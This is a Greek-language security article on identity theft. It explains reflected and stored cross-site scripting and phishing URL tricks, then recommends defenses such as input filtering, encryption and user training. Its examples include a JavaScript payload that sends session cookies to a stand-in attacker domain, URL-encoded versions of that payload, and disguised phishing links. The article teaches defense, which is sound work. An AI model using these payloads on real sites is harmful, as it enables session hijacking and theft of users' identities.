Identity Theft: Τεχνικές και λύσεις

H κλοπή ταυτότητας, ανεξαρτήτως του «modus operandi» που ακολουθείται προκειμένου να διεκπεραιωθεί, καταλήγει πάντα σε χρήση της ταυτότητας για κάποια εγκληματική (νομικά τουλάχιστον) ενέργεια, εν αγνοία του χρήστη και συνήθως έχει ως βαθύτερο κίνητρο το προσωπικό όφελος.

Στην ταινία «Ο Πυρήνας», ένας από τους χαρακτήρες που υποδύεται ένα Hacker εν ονόματι «Rat», κατά τη διάρκεια μιας λεκτικής του διένεξης με έναν άλλο χαρακτήρα, του απαντάει «…ομιλώ μία μόνο γλώσσα, μηδέν και ένα, και με αυτή μπορώ να μάθω όλα σου τα μυστικά, και να σου κλέψω τη ζωή…». Σήμερα, με την έκταση που έχουν καταλάβει οι υπολογιστές και την εκτενή χρήση του διαδικτύου, καθώς και τη μηχανογράφηση διαφόρων τομέων της κοινωνίας, η παραπάνω ατάκα δεν αποτελεί μονάχα μια γραμμή ενός σεναρίου, αλλά δυστυχώς εκφράζει μια σύγχρονη πραγματικότητα.

«Cross-Site Scripting». Ένας Σμπάρος… Πολλές Ταυτότητες
Ο στόχος του παρόντος άρθρου είναι να εξετάσει μερικές από τις πιο συχνές τεχνικές που χρησιμοποιούνται, προκειμένου ο επιτιθέμενος να επιτύχει την υποκλοπή στοιχείων που θα του επιτρέψουν την ανάκτηση της ταυτότητας του εκάστοτε στόχου, δίνοντάς του με αυτόν τον τρόπο τη δυνατότητα να εκτελέσει αργότερα ένα πλήθος κακόβουλων πράξεων, στο όνομα φυσικά του εκάστοτε ανυποψίαστου θύματος. Αρχίζοντας, θα εξετάσουμε μια τεχνική που θεωρείται (και όχι άδικα βέβαια) από πολλούς ως η νέα μορφή «Buffer Overflow» για τις μοντέρνες δικτυακές εφαρμογές, εξαιτίας της συχνότητας εμφάνισής της, καθώς και της δυνατότητας συνδυασμού της με άλλες επιθέσεις (όπως για παράδειγμα η εισαγωγή κακόβουλου κώδικα και η εξάπλωση ιογενών προγραμμάτων) με ενδεχομένως καταστροφικά αποτελέσματα. Συγκεκριμένα, ο λόγος είναι για τις λεγόμενες «Cross-Site Scripting» (ή συντομογραφικά «XSS») επιθέσεις, οι οποίες μάλιστα παρουσιάζουν και αρκετές βαριάντες. Όπως δηλώνει το όνομά τους, πρόκειται για επιθέσεις οι οποίες αποσκοπούν όχι στο να βλάψουν την ίδια την εφαρμογή, αλλά κάποιον άλλο ανυποψίαστο χρήστη, χρησιμοποιώντας την ως μέσο επίτευξης. Στην περίπτωση της πιο κλασικής από αυτές μπορούμε να διακρίνουμε τα ακόλουθα στάδια, τα οποία πρέπει να εκτελεστούν προκειμένου να ολοκληρωθεί η επίθεση:

1. Ο νόμιμος χρήστης μιας δικτυακής εφαρμογής, χρησιμοποιώντας τα συνήθη διακριτικά του (δηλαδή, για παράδειγμα, όνομα χρήστη και συνθηματικό) αυθεντικοποιείται από την εφαρμογή και έτσι αποκτά μια σκυτάλη συνδιάλεξης (session token), η οποία αποθηκεύεται σε ένα «cookie» μέσω της κεφαλίδας:
set-Cookie: sessId=mysession9318943532355455656676764344321028id
2. Μέσα από κάποια μέθοδο (όπως για παράδειγμα την αποστολή ενός κατάλληλα φτιαγμένου «e-mail»), ο επιτιθέμενος καταφέρνει να τροφοδοτήσει το θύμα με το ακόλουθο URL:
https://usualApp.com/error.php?message=<script>var+i=new+Image;+i.src=”http://byebyeUser.com/”%2bdocument.cookie%3b</script>
3. Ο χρήστης ανυποψίαστος, ζητάει από την εφαρμογή να φορτώσει το «URL» που δόθηκε από τον επιτιθέμενο. Στο σημείο αυτό, αξίζει να σημειώσουμε ότι ο χρήστης δεν γνωρίζει πως το εν λόγω URL είναι «φτιαχτό».
4. Ο εξυπηρετητής (server) απαντάει κανονικά στην ερώτηση του χρήστη, αλλά εξαιτίας του «XSS» προβλήματος στο οποίο είναι «ανοιχτός», η απάντηση θα περιέχει και το τμήμα:
<script>var+i=new+Image;+i.src=”http://byebyeUser.com/”%2bdocument.cookie%3b</script>
5. Όπως είναι φανερό, από το στοιχείο «<script>» του «URL» το οποίο παρατίθεται στο βήμα 2, βρίσκεται εγκιβωτισμένο ένα κακόβουλο «JavaScript» αρχείο της μορφής:
<script>
var i=new Image;
i.src=”http://byebyeUser.com/”+document.cookie;
</script>
Το παραπάνω αρχείο πρόκειται να εκτελεστεί εντός του περιηγητή (browser) του χρήστη, σαν να πρόκειται για οποιοδήποτε άλλο τμήμα νόμιμου κώδικα, το οποίο λαμβάνεται από την εφαρμογή.
6. Το «JavaScript» αρχείο, το οποίο έχει δημιουργηθεί από τον επιτιθέμενο και περιέχεται στην απάντηση του εξυπηρετητή, αναγκάζει τον περιηγητή του χρήστη να αναζητήσει το αρχείο τύπου «Image» στον τομέα byebyeUser.com, ο οποίος ανήκει φυσικά στον επιτιθέμενο, ως εξής:
Get /sessId=mysession9318943532355455656676764344321028id HTTP/1.1
Host: byebyeUser.com
7. Όπως είναι φανερό από τα παραπάνω, η ερώτηση του περιηγητή έχει ως αποτέλεσμα η σκυτάλη συνδιάλεξης (session token), η οποία βρίσκεται αποθηκευμένη στο «cookie», να σταλεί στον επιτιθέμενο. Συνεπώς, ο τελευταίος, το μόνο πράγμα το οποίο χρειάζεται να κάνει είναι να παρακολουθεί τον τομέα του για εισερχόμενες συνδέσεις και να καταγράφει τα αποτελέσματα.

Όλα τα βήματα τα οποία σκιαγραφήθηκαν παραπάνω, απεικονίζονται στο σχήμα 1. Συνεπώς, αν τώρα χρειαζόταν να αναρωτηθούμε τι είναι στη συγκεκριμένη περίπτωση αυτό το οποίο κέρδισε ο επιτιθέμενος, όσοι απάντησαν ΄΄η ταυτότητα του χρήστη΄΄ είναι φυσικά σωστοί. Αυτό το οποίο πρέπει να σημειωθεί είναι πως σε περιπτώσεις στις οποίες τίθεται σε εφαρμογή λειτουργικότητα όπως το «Remember me», όπου η σκυτάλη σώζεται ώστε ο χρήστης να αυθεντικοποιείται αυτόματα σε κάθε επίσκεψη, το βήμα 1 είναι προαιρετικό και η επίθεση θα είναι επιτυχημένη ακόμα και χωρίς ο χρήστης να είναι ενεργητικά συνδεδεμένος με την εφαρμογή. Από το σημείο αυτό και έπειτα, ο επιτιθέμενος μπορεί να επιδοθεί εντός της εφαρμογής, σε οποιαδήποτε ενέργεια του επιτρέπουν οι διάφορες λίστες έλεγχου δικαιωμάτων (Access Control Lists) που έχουν στηθεί για το νόμιμο χρήστη. Είναι λοιπόν ίσως εύκολο να φανταστούμε τώρα ποιες θα μπορούσαν να ήταν οι συνέπειες μιας τέτοιας επίθεσης σε ένα χρήστη, ο οποίος έχει το ρόλο του διαχειριστή (administrator) για την εφαρμογή. Πρακτικά, καμία λειτουργία δεν θα ήταν εκτός ορίων – και το καλύτερο; όλα θα έδειχναν να προέρχονται από το νόμιμο, ανυποψίαστο, χρήστη.

Έτσι, σε σχέση με τα παραπάνω, το προαναφερθέν σενάριο εξετάστηκε διότι ο στόχος του επιτιθέμενου δεν ήταν απλώς να καταφέρει τον ανυποψίαστο χρήστη να εκτελέσει ένα τυχαίο «JavaScript», αλλά να υποκλέψει την ταυτότητα του τελευταίου. Αυτό βεβαίως το οποίο καθιστά την παραπάνω επίθεση εξαιρετικά ενδιαφέρουσα, είναι το γεγονός πως είναι δύσκολο ακόμα και για ένα χρήστη μυημένο στις επιθέσεις τύπου «Phishing» να την αποφύγει, διότι:

• Το «e-mail», για παράδειγμα, που θα μπορούσε να χρησιμοποιηθεί ως μέσον προκειμένου να σταλεί το κακόβουλο «URL» στο χρήστη, θα μπορούσε να τον παροτρύνει να συνδεθεί με την εφαρμογή μέσα από τη συνηθισμένη ως προς αυτό διαδικασία, έτσι ώστε να μη δημιουργηθούν ερωτηματικά σε σχέση με τη μέθοδο.
• Το όνομα του τομέα (domain) στο σύνδεσμο (link) δείχνει τη σωστή τοποθεσία, στην οποία η δικτυακή εφαρμογή είναι εγκατεστημένη.
• Το τμήμα του URL το οποίο περιέχει το κακόβουλο «JavaScript» μπορεί να καμουφλαριστεί, χρησιμοποιώντας κωδικοποίηση URL (URL encoding), ώστε να μην είναι άμεσα αντιληπτό το περιεχόμενό του, όπως για παράδειγμα:
  https://usualApp.com/%65%72%72%6f%72%2e%70%68%70%3f%6d%65%73%73%61%67%65%3d%3c%73%63%72%69%70% 74%3e%76%61%72%2b%69%3d%6e%65%77%2b%49%6d%61%67%65%3b%2b%69%2e%73%72%63%3d%94%68%74%74% 70%3a%2f%2f%62%79%65%62%79%65%55%73%65%72%2e%63%6f%6d%2f%94%25%32%62%64%6f%63%75%6d%65%6e% 74%2e%63%6f%6f%6b%69%65%25%33%62%3c%2f%73%63%72%69%70%74%
• Το πρωτόκολλο το οποίο χρησιμοποιείται για τη σύνδεση, είναι «HTTPS», κάτι το οποίο θα ενισχύσει την εμπιστοσύνη του χρήστη στο σύνδεσμο ακόμη περισσότερο, αφού όλοι οι σχετικοί έλεγχοι ασφαλείας στο συγκεκριμένο επίπεδο θα είναι επιτυχημένοι, μιας και το κακόβουλο URL παραδίδεται στο νόμιμο χρήστη διαμέσω της ίδιας της εφαρμογής.

Phishing scams… Μας φέρνουν πιο κοντά
Συνεχίζοντας την αναφορά μας στους τρόπους με τους οποίους μπορεί να επιτευχθεί μία επίθεση εναντίον της ταυτότητας ενός χρήστη μιας δικτυακής εφαρμογής, θα πρέπει σίγουρα να αναφερθούμε και σε εκείνες οι οποίες έχουν σαν στόχο να παραπλανήσουν το χρήστη, παρασύροντάς τον σε κάποια τοποθεσία, η οποία είναι φτιαγμένη από τον επιτιθέμενο κατά τέτοιο τρόπο που να θυμίζει τη συνήθη διαλειτουργικότητα, η οποία προσφέρεται από την αυθεντική τοποθεσία. Έτσι, ο χρήστης δεν θα αντιληφθεί την απάτη, παρά μόνο όταν θα είναι ήδη αργά. Οι επιθέσεις αυτού του τύπου, που είναι γενικότερα γνωστές ως «Phishing scams», βασίζονται όπως αναφέρθηκε πρωτύτερα, στη δημιουργία ενός κλώνου της κανονικής τοποθεσίας που φιλοξενεί την εφαρμογή και στο πλείστο των περιπτώσεων, από τεχνικής άποψης, χρησιμοποιούν διάφορες μεθόδους συγκάλυψης των κακόβουλων συνδέσεων που οδηγούν στις πλαστές τοποθεσίες.

Τα ειδικά φτιαγμένα εκείνα «URLs» διαδίδονται στην κοινότητα των ανυποψίαστων χρηστών είτε διαμέσω ηλεκτρονικού ταχυδρομείου, είτε διαμέσω κάποιας υπηρεσίας «instant messaging». Φυσικά, υπάρχουν και τρόποι διάδοσης μιας «Phishing» απάτης, που δεν περιλαμβάνουν τη χρήση ηλεκτρονικών μέσων, αλλά στηρίζονται σε πιο συμβατικά μέσα «Social Engineering» τεχνικών όπως το τηλέφωνο, όμως δεν θα μας απασχολήσουν στο παρόν άρθρο, μιας και ενδιαφερόμαστε για επιθέσεις οι οποίες έχουν πιο έντονο τεχνικό χαρακτήρα. Μερικά χαρακτηριστικά παραδείγματα συγκάλυψης «URL» περιλαμβάνουν περιπτώσεις όπου ο σύνδεσμος περιέχει σκόπιμα ένα μικρό ορθογραφικό λάθος ή εκμεταλλεύεται τη χρήση υπό-τομέων (sub-domains), όπως για παράδειγμα το παρακάτω «URL»:
https://www.myBank.exampleApp.com
Όπου, ο στόχος είναι να κάνει το χρήστη να νομίσει ότι θα συνδεθεί με την εφαρμογή «exampleApp» στην τοποθεσία «myBank», ενώ στην ουσία μεταφέρεται στην κλωνοποιημένη τοποθεσία «myBank», στον τομέα «exampleApp». Μια ακόμη συνήθης «Phishing» τεχνική, περιλαμβάνει τη χρήση του συμβόλου «@» εξαπατώντας τον ανυποψίαστο χρήστη ότι ένας σύνδεσμος όπως
http://www.yahoo.com@evilhacker.com
και οδηγεί στην τοποθεσία του «Yahoo», ενώ στην πραγματικότητα το θύμα μεταφέρεται στην τοποθεσία «evilhacker.com», όπου βρίσκεται σίγουρα κλωνοποιημένη η σελίδα του «Yahoo», προκειμένου ο επιτιθέμενος να αποσπάσει τα διακριτικά του χρήστη.

Μία Ακόμη Διάσημη Βαριάντα…. «Stored XSS»
Συνεχίζοντας την αναφορά μας στους τρόπους με τους οποίους η ταυτότητα ενός χρήστη μιας δικτυακής εφαρμογής μπορεί να καταλήξει στα χέρια κάποιου επιτήδειου, σίγουρα δεν μπορούμε να παραλείψουμε μια άλλη διάσημη βαριάντα των «XSS» επιθέσεων, όπως αυτή όπου το κακόβουλο «script» δεν στέλνεται από τον επιτιθέμενο, αλλά βρίσκεται ήδη αποθηκευμένο (stored) στην εφαρμογή και το θύμα το κατεβάζει οικειοθελώς. Αυτού του είδους οι επιθέσεις συναντώνται συχνά σε εφαρμογές, οι οποίες είναι σχεδιασμένες να επιτρέπουν στους χρήστες να ανεβάζουν (upload) αρχεία, τα οποία με τη σειρά τους τα κατεβάζουν (download) άλλοι χρήστες. Έτσι, ένας κακόβουλος χρήστης, εκμεταλλευόμενος τη διαλειτουργικότητα η οποία προσφέρεται από μια τρωτή εφαρμογή, είναι δυνατό να καταθέσει μία ερώτηση η οποία εμπεριέχει ένα «JavaScript» αρχείο, το οποίο μόλις ένας ανυποψίαστος χρήστης το κατεβάσει, εκείνο εκτελείται αυτόματα εντός του περιηγητή του χρήστη. Οι συνέπειες φυσικά, δεν είναι άλλες από τις αναμενόμενες, όπως συζητήθηκαν και πρωτύτερα και οι οποίες οδηγούν σαφώς στην υποκλοπή των διαπιστευτηρίων του θύματος. Τα βήματα λοιπόν, τα οποία ακολουθούνται σε μια τέτοια επίθεση, μπορούν να συνοψιστούν ως εξής και η διαδικασία περιγράφεται σχηματικά στο σχήμα 2:
1. Ο επιτιθέμενος, υποβάλλει μία ερώτηση στην εφαρμογή η οποία περιέχει εγκιβωτισμένο ένα κακόβουλο «JavaScript» αρχείο, σαν αυτό που χρησιμοποιήθηκε στην προηγούμενη βαριάντα και το οποίο έχει κωδικογραφηθεί πλήρως σε μορφή URL, όπως ορίζεται με βάση το πρότυπο RFC 3986, ώστε να μην κινήσει υποψίες:
POST /somepage.php HTTP/1.1
Host: www.usualApp.com
Content-Type: application/x-www-form-urlencoded
Content-Length:
name=%3c%73%63%72%69%70%74%3e%20%76%61%72%20%69%3d%6e%65%77%20%49%6d%61%67%65%3b%20%69%2e%73% 72%63%3d%94%68%74%74%70%3a%2f%2f%62%79%65%62%79%65%55%73%65%72%2e%63%6f%6d%2f%94%2b%64%6f%63%75% 6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73%63%72%69%70%74%3e
2. Το θύμα συνδέεται με τη συνήθη διαδικασία στην εφαρμογή.
3. Το θύμα περιηγείται εντός της εφαρμογής και ζητάει να δει την ερώτηση που έχει αποσταλεί, για παράδειγμα, από τον επιτιθέμενο σε κάποιο «Forum» .
4. Ο εξυπηρετητής (server) αποστέλλει τη σελίδα και μαζί φυσικά το κακόβουλο αρχείο.
5. Το παραπάνω «JavaScript» εκτελείται εντός του περιηγητή του χρήστη.
6. Η ταυτότητα του θύματος αποστέλλεται στον επιτιθέμενο.
7. Ο επιτιθέμενος, μπορεί πλέον να καταλάβει τη συνδιάλεξη (session) του ανυποψίαστου χρήστη με την εφαρμογή, μιμούμενος το νόμιμο κάτοχο.

Τελειώνοντας, αξίζει ίσως να αναφέρουμε ότι και αυτή η επίθεση διαφοροποιείται σημαντικά από τις προηγούμενες – και γενικότερα θεωρείται ως πιο επικίνδυνη, κυρίως εξαιτίας δύο λόγων:

• Σε αυτήν την περίπτωση, ο επιτιθέμενος δεν χρειάζεται να ανησυχεί για έναν τρόπο μεταφοράς του κακόβουλου συνδέσμου του στο εκάστοτε θύμα, εφόσον εκμεταλλευόμενος κάποια αδυναμία της ίδιας της εφαρμογής, το εγκιβωτισμένο αρχείο βρίσκεται ήδη εντός της τελευταίας.
• Στις επιθέσεις οι οποίες περιλαμβάνουν την κλοπή της ταυτότητας του χρήστη διαμέσω ενός προβλήματος «XSS», είναι επιθυμητό ο χρήστης να είναι συνδεδεμένος με την εφαρμογή προκειμένου ο επιτιθέμενος να υποκλέψει τη συνδιάλεξη, όσο το δυνατό συντομότερα. Αυτή η συνθήκη ικανοποιείται εύκολα με τον παραπάνω τρόπο επίθεσης, εφόσον ο χρήστης έχει ήδη συνδεθεί με την εφαρμογή οικειοθελώς, χωρίς τη χρήση -για παράδειγμα – παραπλανητικών «e-mail».

Και Τώρα… Υπάρχει Λύση(;)
Όπως και σε πολλά άλλα προβλήματα ασφαλείας, έτσι και για το πρόβλημα το οποίο σκιαγραφήθηκε στο παρόν άρθρο, δεν υπάρχουν μαγικές συνταγές. Αυτό το οποίο απαιτείται είναι και σε αυτήν την περίπτωση μία στροφή στα βασικά:

• Με άλλα λόγια, η δημιουργία πολιτικών ασφαλείας και πολιτικών προστασίας προσωπικών δεδομένων, δεν θα πρέπει να αντιμετωπίζονται σαν επιβαρυντική δαπάνη για μια εταιρεία, αλλά ως αναγκαιότητα, εφόσον αποτελούν τη βάση πάνω στην οποία μια εταιρεία ή ένας οργανισμός χτίζει, προκειμένου να αποφύγει προβλήματα σαν αυτό που εξετάσαμε. Οι παραπάνω πολιτικές θα πρέπει να περιέχουν (μεταξύ άλλων) με τρόπο κατανοητό και δομημένο, τους ρόλους και τις υποχρεώσεις όλων των εμπλεκόμενων ομάδων. Ακόμη, στις πολιτικές θα πρέπει να περιγράφονται διεξοδικά οι διαδικασίες οι οποίες ακολουθούνται σχετικά με τη συλλογή, τη διαχείριση και την αποθήκευση της πληροφορίας.
  Επιπλέον, θα πρέπει να αναγράφονται ξεκάθαρα τόσο οι επιλογές που έχουν οι εμπλεκόμενοι (και κυρίως οι πελάτες, όπου αυτό φυσικά καθίσταται εφαρμόσιμο) σχετικά με τα παραπάνω θέματα, τα οποία έχουν αντίκτυπο στα προσωπικά τους δεδομένα, όσο και οι διαδικασίες οι οποίες ακολουθούνται στην περίπτωση που πραγματοποιηθεί κάποιο συμβάν που μπορεί να θεωρηθεί πως υπονομεύει την ασφάλεια της εταιρείας ή του οργανισμού.
• Η διοίκηση θα πρέπει να στηρίζει και να προωθεί τόσο τη δημιουργία των παραπάνω πολιτικών, όσο φυσικά και την κατά γράμμα τήρηση των αντίστοιχων διαδικασιών, παίζοντας ενεργό ρόλο και διατηρώντας ένα προφίλ που διώκει ποινικά τους παραβάτες.
• Από τεχνικής άποψης είναι απαραίτητο φυσικά, το περιεχόμενο των δεδομένων που επιτρέπει η εφαρμογή να εισάγονται από το χρήστη, να φιλτράρεται αποτελεσματικά εναντίον απαγορευμένων χαρακτήρων που είναι δυνατό να χρησιμοποιηθούν από την εφαρμογή κατά τρόπο διαφορετικό από τον επιθυμητό. Επιπλέον, θα πρέπει να ακολουθείται από την εφαρμογή μια πολιτική προστασίας εις βάθος. Δεν είναι λίγες οι φορές, οι οποίες, μολονότι ένα συγκεκριμένο υποσύστημα δεν εμφανίζεται τρωτό σε μία επικείμενη επίθεση (όπως μία «XSS» για παράδειγμα), να επικοινωνεί με ένα άλλο το οποίο είναι τρωτό, με αποτέλεσμα να κινδυνεύει και το πρώτο – κατά τα άλλα – ασφαλές υποσύστημα. Έτσι, ο έλεγχος των δεδομένων τα οποία εξέρχονται από ένα υποσύστημα θα πρέπει επίσης να φιλτράρονται, όπως για παράδειγμα με τη χρήση πλαισίων (frameworks) σαν το «Struts», προσεκτικά, προκειμένου να αποφεύγονται προβλήματα σαν και αυτό που μόλις περιγράφηκε.
• Η χρήση τεχνικών κρυπτογράφησης προκειμένου να προστατεύονται τα ευαίσθητα δεδομένα των χρηστών – τόσο εντός της εφαρμογής όσο και κατά την αποθήκευσή τους σε «cookies», αλλά και κατά τη μεταφορά τους από έναν κόμβο σε κάποιον άλλο – κρίνεται απαραίτητη. Επίσης, αναγκαίος κρίνεται από τεχνικής άποψης τόσο ο αποτελεσματικός έλεγχος και η θωράκιση «JavaScript» αρχείων (client side) και η αποφυγή εκπλήρωσης κρίσιμης λειτουργικότητας (όπως για παράδειγμα το «redirection») μέσω αυτών, όσο και η τακτική εφαρμογή ελέγχων για την έγκαιρη διάγνωση τυχόν προβλημάτων.
• Σημαντικότατο ρόλο παίζει επίσης η από νωρίς ευθυγράμμιση της εφαρμογής με πρότυπα ασφαλείας.
• Δεν υπάρχει αποτελεσματικό αντικατάστατο για την επιμόρφωση των χρηστών εναντίον επιθέσεων, όπως η κλοπή ταυτότητας (ή πρακτικά, οποιασδήποτε άλλης απειλής ασφαλείας), μιας και εκείνοι είναι που αποτελούν ουσιαστικά την τελευταία γραμμή άμυνας οποιασδήποτε εφαρμογής.

του Ευάγγελου Μωράκη
Security Expert